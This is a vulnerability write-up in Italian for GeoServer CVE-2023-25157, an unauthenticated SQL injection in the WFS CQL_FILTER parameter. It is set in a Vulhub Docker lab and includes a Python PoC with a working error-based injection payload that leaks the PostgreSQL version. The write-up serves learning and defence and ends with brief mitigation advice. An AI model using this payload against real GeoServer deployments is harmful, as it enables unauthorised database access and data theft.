geoserver CVE-2023-25157
Kim Jeong-woo, [30B] White Hat 3rd Generation
Link GitHub - https://github.com/custiya/geoserver-CVE-2023-25157
Riepilogo della vulnerabilità
- CVE-2023-25157 è una vulnerabilità SQLi che colpisce GeoServer, un'applicazione web open source per servizi di dati cartografici
- Si verifica in alcune versioni di GeoServer fino alla 2.22.0
- Il parametro CQL_FILTER nelle richieste WFS (Web Feature Service) è vulnerabile
- Chiunque può sfruttarla se può accedere all'API senza autenticazione
Configurazione dell'ambiente
- Eseguire l'ambiente di test con il comando
docker compose up -d
- Accedere alla pagina all'indirizzo
http://your-ip:8080/geoserver
- Prima di tutto, è necessario trovare un workspace esistente che contenga un datastore PostGIS
- Nell'istanza GeoServer di Vulhub è già presente un datastore PostGIS
- Nome workspace: vulhub
- Nome datastore: pg
- Nome tabella: example
- Attributo utilizzato: name
poc.py
- Basato su quanto descritto sopra, costruisce una sintassi sqli
- Invio della sintassi al server utilizzando il modulo request
strStartsWith(name,'x'') = true
- Aggiunge un altro apostrofo dopo la 'x', rompendo la sintassi SQL
and 1=(SELECT CAST ((SELECT version()) AS integer))
- La funzione version() restituisce la versione corrente di PostgreSQL ed è una stringa
- CAST(... AS integer) forza la conversione in intero, causando un errore
- Il server restituisce un messaggio di errore, consentendo il test di Blind SQL Injection
# 대상 URL
url = "http://localhost:8080/geoserver/ows"
# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
# 파라미터 설정
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": cql_filter
}
Risultato

Conclusione
- Attraverso questo PoC è stato possibile rilevare la presenza di SQLi. Un attaccante potrebbe raccogliere informazioni di sistema tramite query SQL.
- Per prevenire questo attacco, è necessario aggiungere la validazione dell'input utente. Inoltre, l'istruzione SQL ricevuta non dovrebbe essere utilizzata direttamente, ma archiviata separatamente e poi utilizzata.